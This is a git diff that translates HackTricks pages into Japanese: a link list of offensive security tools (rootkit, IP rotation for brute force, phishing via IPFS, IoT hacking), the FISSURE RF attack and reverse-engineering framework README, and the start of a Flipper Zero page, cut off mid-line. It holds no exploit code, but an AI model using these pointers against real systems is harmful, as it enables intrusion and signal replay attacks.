[https://github.com/CoatiSoftware/Sourcetrail](https://github.com/CoatiSoftware/Sourcetrail) : 静的コード解析 * [https://www.hackerdecabecera.com/2019/12/blectf-capture-flag-en-formato-hardware.html](https://www.hackerdecabecera.com/2019/12/blectf-capture-flag-en-formato-hardware.html) : Bluetooth LE CTF -* [https://github.com/skeeto/endlessh](https://github.com/skeeto/endlessh) : SSH tarpit that slowly sends an endless banner. -* AWS and Cloud tools: [https://github.com/toniblyx/my-arsenal-of-aws-security-tools](https://github.com/toniblyx/my-arsenal-of-aws-security-tools) -* IFS (Interplanetary File System) for phising: [https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/) -* IP rotation services: [https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212](https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212) -* Linux rootkit: [https://github.com/aesophor/satanic-rootkit](https://github.com/aesophor/satanic-rootkit) -* [https://theia-ide.org/](https://theia-ide.org) : Online IDE -* [https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/](https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/) : Resources for starting on BugBounties -* [https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab](https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab) : IOS pentesting tools -* [https://github.com/random-robbie/keywords/blob/master/keywords.txt](https://github.com/random-robbie/keywords/blob/master/keywords.txt) : Keywords -* [https://github.com/ElevenPaths/HomePWN](https://github.com/ElevenPaths/HomePWN) : Hacking IoT (Wifi, BLE, SSDP, MDNS) -* [https://github.com/rackerlabs/scantron](https://github.com/rackerlabs/scantron) : automating scanning -* [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) : This list aims to cover Electron.js security related topics. -* [https://github.com/serain/bbrecon](https://github.com/serain/bbrecon) : Info about BB programs +* [https://github.com/skeeto/endlessh](https://github.com/skeeto/endlessh) : 無限のバナーをゆっくりと送信するSSHターピット。 +* AWSおよびクラウドツール:[https://github.com/toniblyx/my-arsenal-of-aws-security-tools](https://github.com/toniblyx/my-arsenal-of-aws-security-tools) +* フィッシングのためのIFS(Interplanetary File System):[https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/) +* IPローテーションサービス:[https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212](https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212) +* Linuxルートキット:[https://github.com/aesophor/satanic-rootkit](https://github.com/aesophor/satanic-rootkit) +* [https://theia-ide.org/](https://theia-ide.org) : オンラインIDE +* [https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/](https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/) : バグバウンティの始め方に関するリソース +* [https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab](https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab) : iOSアプリケーションのペネトレーションテストツール +* [https://github.com/random-robbie/keywords/blob/master/keywords.txt](https://github.com/random-robbie/keywords/blob/master/keywords.txt) : キーワード +* [https://github.com/ElevenPaths/HomePWN](https://github.com/ElevenPaths/HomePWN) : IoTのハッキング(Wifi、BLE、SSDP、MDNS) +* [https://github.com/rackerlabs/scantron](https://github.com/rackerlabs/scantron) : スキャンの自動化 +* [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) : このリストはElectron.jsのセキュリティ関連のトピックをカバーしています。 +* [https://github.com/serain/bbrecon](https://github.com/serain/bbrecon) : BBプログラムに関する情報
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**企業を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/todo/radio-hacking/fissure-the-rf-framework.md b/todo/radio-hacking/fissure-the-rf-framework.md index 2718cf944..ed4f152a1 100644 --- a/todo/radio-hacking/fissure-the-rf-framework.md +++ b/todo/radio-hacking/fissure-the-rf-framework.md @@ -1,28 +1,28 @@ -# FISSURE - The RF Framework +# FISSURE - RFフレームワーク -**Frequency Independent SDR-based Signal Understanding and Reverse Engineering** +**周波数に依存しないSDRベースの信号理解と逆向きエンジニアリング** -FISSURE is an open-source RF and reverse engineering framework designed for all skill levels with hooks for signal detection and classification, protocol discovery, attack execution, IQ manipulation, vulnerability analysis, automation, and AI/ML. The framework was built to promote the rapid integration of software modules, radios, protocols, signal data, scripts, flow graphs, reference material, and third-party tools. FISSURE is a workflow enabler that keeps software in one location and allows teams to effortlessly get up to speed while sharing the same proven baseline configuration for specific Linux distributions. +FISSUREは、信号の検出と分類、プロトコルの発見、攻撃の実行、IQの操作、脆弱性分析、自動化、AI/MLのためのフックを備えたオープンソースのRFおよび逆向きエンジニアリングフレームワークです。このフレームワークは、ソフトウェアモジュール、ラジオ、プロトコル、信号データ、スクリプト、フローグラフ、リファレンス資料、サードパーティツールの迅速な統合を促進するために構築されました。FISSUREは、ソフトウェアを1つの場所に保持し、特定のLinuxディストリビューションのための同じ確立されたベースライン設定を共有しながら、チームが簡単にスピードアップできるようにするワークフローエンエーラーです。 -The framework and tools included with FISSURE are designed to detect the presence of RF energy, understand the characteristics of a signal, collect and analyze samples, develop transmit and/or injection techniques, and craft custom payloads or messages. FISSURE contains a growing library of protocol and signal information to assist in identification, packet crafting, and fuzzing. Online archive capabilities exist to download signal files and build playlists to simulate traffic and test systems. +FISSUREに含まれるフレームワークとツールは、RFエネルギーの存在を検出し、信号の特性を理解し、サンプルを収集して分析し、送信および/またはインジェクション技術を開発し、カスタムのペイロードやメッセージを作成するために設計されています。FISSUREには、識別、パケットの作成、およびファジングを支援するためのプロトコルと信号情報の成長するライブラリが含まれています。オンラインアーカイブ機能を使用して、信号ファイルをダウンロードし、トラフィックをシミュレートしてシステムをテストするためのプレイリストを作成することもできます。 -The friendly Python codebase and user interface allows beginners to quickly learn about popular tools and techniques involving RF and reverse engineering. Educators in cybersecurity and engineering can take advantage of the built-in material or utilize the framework to demonstrate their own real-world applications. Developers and researchers can use FISSURE for their daily tasks or to expose their cutting-edge solutions to a wider audience. As awareness and usage of FISSURE grows in the community, so will the extent of its capabilities and the breadth of the technology it encompasses. +フレンドリーなPythonコードベースとユーザーインターフェースにより、初心者はRFおよび逆向きエンジニアリングに関する人気のあるツールと技術についてすばやく学ぶことができます。サイバーセキュリティとエンジニアリングの教育者は、組み込まれた教材を活用するか、フレームワークを使用して独自の実世界アプリケーションをデモンストレーションすることができます。開発者や研究者は、FISSUREを日常のタスクや最先端のソリューションを広い範囲のユーザーに公開するために使用することができます。FISSUREのコミュニティでの認識と使用が広がるにつれて、その機能の範囲と包括する技術の幅も拡大していきます。 -**Additional Information** +**追加情報** -* [AIS Page](https://www.ainfosec.com/technologies/fissure/) -* [GRCon22 Slides](https://events.gnuradio.org/event/18/contributions/246/attachments/84/164/FISSURE\_Poore\_GRCon22.pdf) -* [GRCon22 Paper](https://events.gnuradio.org/event/18/contributions/246/attachments/84/167/FISSURE\_Paper\_Poore\_GRCon22.pdf) -* [GRCon22 Video](https://www.youtube.com/watch?v=1f2umEKhJvE) -* [Hack Chat Transcript](https://hackaday.io/event/187076-rf-hacking-hack-chat/log/212136-hack-chat-transcript-part-1) +* [AISページ](https://www.ainfosec.com/technologies/fissure/) +* [GRCon22スライド](https://events.gnuradio.org/event/18/contributions/246/attachments/84/164/FISSURE\_Poore\_GRCon22.pdf) +* [GRCon22論文](https://events.gnuradio.org/event/18/contributions/246/attachments/84/167/FISSURE\_Paper\_Poore\_GRCon22.pdf) +* [GRCon22ビデオ](https://www.youtube.com/watch?v=1f2umEKhJvE) +* [ハックチャットの記録](https://hackaday.io/event/187076-rf-hacking-hack-chat/log/212136-hack-chat-transcript-part-1) -## Getting Started +## はじめに -**Supported** +**サポートされているもの** -There are three branches within FISSURE to make file navigation easier and reduce code redundancy. The Python2\_maint-3.7 branch contains a codebase built around Python2, PyQt4, and GNU Radio 3.7; the Python3\_maint-3.8 branch is built around Python3, PyQt5, and GNU Radio 3.8; and the Python3\_maint-3.10 branch is built around Python3, PyQt5, and GNU Radio 3.10. +FISSUREには3つのブランチがあり、ファイルのナビゲーションを容易にし、コードの冗長性を減らしています。Python2\_maint-3.7ブランチは、Python2、PyQt4、およびGNU Radio 3.7をベースにしたコードベースを含みます。Python3\_maint-3.8ブランチは、Python3、PyQt5、およびGNU Radio 3.8をベースにしたコードベースを含みます。Python3\_maint-3.10ブランチは、Python3、PyQt5、およびGNU Radio 3.10をベースにしたコードベースを含みます。 -| Operating System | FISSURE Branch | +| オペレーティングシステム | FISSUREブランチ | | :------------------: | :----------------: | | Ubuntu 18.04 (x64) | Python2\_maint-3.7 | | Ubuntu 18.04.5 (x64) | Python2\_maint-3.7 | @@ -31,19 +31,18 @@ There are three branches within FISSURE to make file navigation easier and reduc | Ubuntu 20.04.4 (x64) | Python3\_maint-3.8 | | KDE neon 5.25 (x64) | Python3\_maint-3.8 | -**In-Progress (beta)** +**進行中(ベータ版)** -These operating systems are still in beta status. They are under development and several features are known to be missing. Items in the installer might conflict with existing programs or fail to install until the status is removed. +これらのオペレーティングシステムはまだベータ版です。開発中であり、いくつかの機能が欠落していることが知られています。インストーラ内のアイテムは既存のプログラムと競合する可能性があり、ステータスが削除されるまでインストールに失敗する可能性があります。 -| Operating System | FISSURE Branch | +| オペレーティングシステム | FISSUREブランチ | | :----------------------: | :-----------------: | | DragonOS Focal (x86\_64) | Python3\_maint-3.8 | | Ubuntu 22.04 (x64) | Python3\_maint-3.10 | -Note: Certain software tools do not work for every OS. Refer to [Software And Conflicts](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Help/Markdown/SoftwareAndConflicts.md) - -**Installation** +注意:特定のソフトウェアツールはすべてのOSで動作しない場合があります。[ソフトウェアと競合の詳細](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Help/Markdown/SoftwareAndConflicts.md)を参照してください。 +**インストール** ``` git clone https://github.com/ainfosec/FISSURE.git cd FISSURE @@ -51,134 +50,128 @@ git checkout or or git submodule update --init ./install ``` +これにより、インストールGUIを起動するために必要なPyQtソフトウェアの依存関係がインストールされます(見つからない場合)。 -This will install PyQt software dependencies required to launch the installation GUIs if they are not found. - -Next, select the option that best matches your operating system (should be detected automatically if your OS matches an option). +次に、オペレーティングシステムに最も適合するオプションを選択します(OSがオプションに一致する場合は自動的に検出されます)。 | Python2\_maint-3.7 | Python3\_maint-3.8 | Python3\_maint-3.10 | | :--------------------------------------------------------------------------------------------------: | :--------------------------------------------------------------------------------------------------: | :--------------------------------------------------------------------------------------------------: | | ![install1b](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/install1b.png) | ![install1a](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/install1a.png) | ![install1c](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/install1c.png) | -It is recommended to install FISSURE on a clean operating system to avoid existing conflicts. Select all the recommended checkboxes (Default button) to avoid errors while operating the various tools within FISSURE. There will be multiple prompts throughout the installation, mostly asking for elevated permissions and user names. If an item contains a "Verify" section at the end, the installer will run the command that follows and highlight the checkbox item green or red depending on if any errors are produced by the command. Checked items without a "Verify" section will remain black following the installation. +既存の競合を避けるために、クリーンなオペレーティングシステムにFISSUREをインストールすることをお勧めします。FISSURE内のさまざまなツールを操作する際にエラーを回避するために、すべての推奨チェックボックス(デフォルトボタン)を選択してください。インストール中には、昇格された権限とユーザー名を求めるプロンプトが複数回表示されます。アイテムに「Verify」セクションが含まれている場合、インストーラは後続のコマンドを実行し、コマンドによってエラーが生成されるかどうかに応じてチェックボックスアイテムを緑または赤で強調表示します。インストール後、"Verify"セクションのないチェック済みアイテムは黒のままです。 ![install2](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/install2.png) -**Usage** - -Open a terminal and enter: +**使用方法** +ターミナルを開き、次のコマンドを入力します: ``` fissure ``` +## 詳細 -Refer to the FISSURE Help menu for more details on usage. +**コンポーネント** -## Details - -**Components** - -* Dashboard -* Central Hub (HIPRFISR) -* Target Signal Identification (TSI) -* Protocol Discovery (PD) -* Flow Graph & Script Executor (FGE) +* ダッシュボード +* セントラルハブ(HIPRFISR) +* ターゲット信号識別(TSI) +* プロトコルの発見(PD) +* フローグラフ&スクリプトエグゼキュータ(FGE) ![components](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/components.png) -**Capabilities** +**機能** -| ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/detector.png)_**Signal Detector**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/iq.png)_**IQ Manipulation**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/library.png)_**Signal Lookup**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/pd.png)_**Pattern Recognition**_ | +| ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/detector.png)_**シグナル検出器**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/iq.png)_**IQ操作**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/library.png)_**シグナル検索**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/pd.png)_**パターン認識**_ | | --------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------- | -| ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/attack.png)_**Attacks**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/fuzzing.png)_**Fuzzing**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/archive.png)_**Signal Playlists**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/gallery.png)_**Image Gallery**_ | -| ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/packet.png)_**Packet Crafting**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/scapy.png)_**Scapy Integration**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/crc\_calculator.png)_**CRC Calculator**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/log.png)_**Logging**_ | +| ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/attack.png)_**攻撃**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/fuzzing.png)_**Fuzzing**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/archive.png)_**シグナルプレイリスト**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/gallery.png)_**画像ギャラリー**_ | +| ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/packet.png)_**パケット作成**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/scapy.png)_**Scapy統合**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/crc\_calculator.png)_**CRC計算機**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/log.png)_**ログ**_ | -**Hardware** +**ハードウェア** -The following is a list of "supported" hardware with varying levels of integration: +以下は、統合レベルの異なる「サポートされている」ハードウェアのリストです。 -* USRP: X3xx, B2xx, B20xmini, USRP2, N2xx +* USRP: X3xx、B2xx、B20xmini、USRP2、N2xx * HackRF * RTL2832U -* 802.11 Adapters +* 802.11アダプタ * LimeSDR -* bladeRF, bladeRF 2.0 micro +* bladeRF、bladeRF 2.0 micro * Open Sniffer * PlutoSDR -## Lessons +## レッスン -FISSURE comes with several helpful guides to become familiar with different technologies and techniques. Many include steps for using various tools that are integrated into FISSURE. +FISSUREには、さまざまな技術とテクニックに慣れるための役立つガイドがいくつか付属しています。多くのガイドでは、FISSUREに統合されたさまざまなツールの使用手順が含まれています。 -* [Lesson1: OpenBTS](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson1\_OpenBTS.md) -* [Lesson2: Lua Dissectors](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson2\_LuaDissectors.md) -* [Lesson3: Sound eXchange](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson3\_Sound\_eXchange.md) -* [Lesson4: ESP Boards](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson4\_ESP\_Boards.md) -* [Lesson5: Radiosonde Tracking](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson5\_Radiosonde\_Tracking.md) -* [Lesson6: RFID](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson6\_RFID.md) -* [Lesson7: Data Types](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson7\_Data\_Types.md) -* [Lesson8: Custom GNU Radio Blocks](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson8\_Custom\_GNU\_Radio\_Blocks.md) -* [Lesson9: TPMS](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson9\_TPMS.md) -* [Lesson10: Ham Radio Exams](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson10\_Ham\_Radio\_Exams.md) -* [Lesson11: Wi-Fi Tools](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson11\_WiFi\_Tools.md) +* [レッスン1:OpenBTS](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson1\_OpenBTS.md) +* [レッスン2:Lua Dissectors](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson2\_LuaDissectors.md) +* [レッスン3:Sound eXchange](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson3\_Sound\_eXchange.md) +* [レッスン4:ESPボード](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson4\_ESP\_Boards.md) +* [レッスン5:ラジオソンド追跡](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson5\_Radiosonde\_Tracking.md) +* [レッスン6:RFID](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson6\_RFID.md) +* [レッスン7:データ型](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson7\_Data\_Types.md) +* [レッスン8:カスタムGNU Radioブロック](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson8\_Custom\_GNU\_Radio\_Blocks.md) +* [レッスン9:TPMS](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson9\_TPMS.md) +* [レッスン10:ハムラジオ試験](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson10\_Ham\_Radio\_Exams.md) +* [レッスン11:Wi-Fiツール](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson11\_WiFi\_Tools.md) -## Roadmap +## ロードマップ -* [ ] Add more hardware types, RF protocols, signal parameters, analysis tools -* [ ] Support more operating systems -* [ ] Develop class material around FISSURE (RF Attacks, Wi-Fi, GNU Radio, PyQt, etc.) -* [ ] Create a signal conditioner, feature extractor, and signal classifier with selectable AI/ML techniques -* [ ] Implement recursive demodulation mechanisms for producing a bitstream from unknown signals -* [ ] Transition the main FISSURE components to a generic sensor node deployment scheme +* [ ] より多くのハードウェアタイプ、RFプロトコル、信号パラメータ、分析ツールを追加する +* [ ] より多くのオペレーティングシステムをサポートする +* [ ] FISSUREに関連するクラス資料を開発する(RF攻撃、Wi-Fi、GNU Radio、PyQtなど) +* [ ] 選択可能なAI/ML技術を使用したシグナルコンディショナ、特徴抽出、およびシグナル分類器を作成する +* [ ] 不明な信号からビットストリームを生成するための再帰的な復調メカニズムを実装する +* [ ] 主要なFISSUREコンポーネントを一般的なセンサーノード展開スキームに移行する -## Contributing +## 貢献 -Suggestions for improving FISSURE are strongly encouraged. Leave a comment in the [Discussions](https://github.com/ainfosec/FISSURE/discussions) page or in the Discord Server if you have any thoughts regarding the following: +FISSUREの改善に関する提案は強く推奨されています。以下の点について、[Discussions](https://github.com/ainfosec/FISSURE/discussions)ページまたはDiscordサーバーでコメントを残してください。 -* New feature suggestions and design changes -* Software tools with installation steps -* New lessons or additional material for existing lessons -* RF protocols of interest -* More hardware and SDR types for integration -* IQ analysis scripts in Python -* Installation corrections and improvements +* 新機能の提案とデザインの変更 +* インストール手順を伴うソフトウェアツール +* 新しいレッスンまたは既存のレッスンの追加資料 +* 興味のあるRFプロトコル +* 統合するハードウェアとSDRの種類の追加 +* PythonでのIQ分析スクリプト +* インストールの修正と改善 -Contributions to improve FISSURE are crucial to expediting its development. Any contributions you make are greatly appreciated. If you wish to contribute through code development, please fork the repo and create a pull request: +FISSUREの改善に寄与することは、その開発を迅速化するために重要です。あなたが行う貢献は非常に感謝されます。コード開発を通じて貢献したい場合は、リポジトリをフォークしてプルリクエストを作成してください。 -1. Fork the project -2. Create your feature branch (`git checkout -b feature/AmazingFeature`) -3. Commit your changes (`git commit -m 'Add some AmazingFeature'`) -4. Push to the branch (`git push origin feature/AmazingFeature`) -5. Open a pull request +1. プロジェクトをフォークする +2. フィーチャーブランチを作成する(`git checkout -b feature/AmazingFeature`) +3. 変更内容をコミットする(`git commit -m 'Add some AmazingFeature'`) +4. ブランチにプッシュする(`git push origin feature/AmazingFeature`) +5. プルリクエストを作成する -Creating [Issues](https://github.com/ainfosec/FISSURE/issues) to bring attention to bugs is also welcomed. +バグに注意を喚起するために[Issues](https://github.com/ainfosec/FISSURE/issues)を作成することも歓迎されています。 +## 協力 -## Collaborating +FISSUREの協力の機会を提案し、形式化するために、Assured Information Security, Inc. (AIS)のビジネス開発部門に連絡してください。それは、ソフトウェアの統合に時間を費やすこと、AISの優れた人材が技術的な課題のためのソリューションを開発すること、またはFISSUREを他のプラットフォーム/アプリケーションに統合することなど、さまざまな形で行われるかもしれません。 -Contact Assured Information Security, Inc. (AIS) Business Development to propose and formalize any FISSURE collaboration opportunities–whether that is through dedicating time towards integrating your software, having the talented people at AIS develop solutions for your technical challenges, or integrating FISSURE into other platforms/applications. - -## License +## ライセンス GPL-3.0 -For license details, see LICENSE file. +ライセンスの詳細については、LICENSEファイルを参照してください。 -## Contact +## 連絡先 -Join the Discord Server: [https://discord.gg/JZDs5sgxcG](https://discord.gg/JZDs5sgxcG) +Discordサーバーに参加する:[https://discord.gg/JZDs5sgxcG](https://discord.gg/JZDs5sgxcG) -Follow on Twitter: [@FissureRF](https://twitter.com/fissurerf), [@AinfoSec](https://twitter.com/ainfosec) +Twitterでフォローする:[@FissureRF](https://twitter.com/fissurerf), [@AinfoSec](https://twitter.com/ainfosec) Chris Poore - Assured Information Security, Inc. - poorec@ainfosec.com -Business Development - Assured Information Security, Inc. - bd@ainfosec.com +ビジネス開発 - Assured Information Security, Inc. - bd@ainfosec.com -## Credits +## クレジット -We acknowledge and are grateful to these developers: +以下の開発者に感謝し、謝意を表します: [Credits](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/CREDITS.md) -## Acknowledgments +## 謝辞 -Special thanks to Dr. Samuel Mantravadi and Joseph Reith for their contributions to this project. +このプロジェクトへの貢献に対して、Dr. Samuel MantravadiとJoseph Reithに特別な感謝を表します。 diff --git a/todo/radio-hacking/flipper-zero/README.md b/todo/radio-hacking/flipper-zero/README.md index 182cb601f..22c7ad5a0 100644 --- a/todo/radio-hacking/flipper-zero/README.md +++ b/todo/radio-hacking/flipper-zero/README.md @@ -4,35 +4,35 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** -With [**Flipper Zero**](https://flipperzero.one/) you can: +[**Flipper Zero**](https://flipperzero.one/)を使用すると、次のことができます: -* **Listen/Capture/Replay radio frequencies:** [**Sub-GHz**](fz-sub-ghz.md)**** -* **Read/Capture/Emulate NFC cards:** [**NFC**](fz-nfc.md)**** -* **Read/Capture/Emulate 125kHz tags:** [**125kHz RFID**](fz-125khz-rfid.md)**** -* **Read/Capture/Send Infrared signals:** [**Infrared**](fz-infrared.md)**** -* **Read/Capture/Emulate 